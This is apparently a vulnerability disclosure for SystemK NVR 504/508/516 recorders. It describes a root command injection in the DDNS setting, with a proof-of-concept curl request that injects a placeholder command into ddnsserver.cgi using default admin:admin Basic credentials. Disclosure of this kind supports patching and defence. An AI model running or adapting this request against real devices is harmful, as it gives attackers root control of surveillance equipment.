Authored by Keniver Wang

SystemK NVR 504/508/516 version 2.3.5SK.30084998 suffer from a command injection vulnerability.

# Exploit Title: SystemK NVR 504/508/516 Command Injection
# Exploit Author: Keniver Wang
# Publish Date: 19/06/2023
# Date of found: 20/01/2021
# Vendor: SystemK
# Vendor Homepage:
# Version: NVR 504/508/516 2.3.5SK.30084998

# Greets:
Weber Tsai (CHT Security)

# Description
A Command Injection vulnerability in the DDNS Setting that allows
attacker to execute arbitrary commands with root privileges.

# Proof of Concept
curl 'http://<IP>/ddnsserver.cgi?action=test&;<COMMAND>;&updatetime=300'

-H 'Connection: keep-alive'
-H 'Content-Length: 0'
-H 'Authorization: Basic YWRtaW46YWRtaW4='
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)'
-H 'Accept: */*'
-H 'Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6'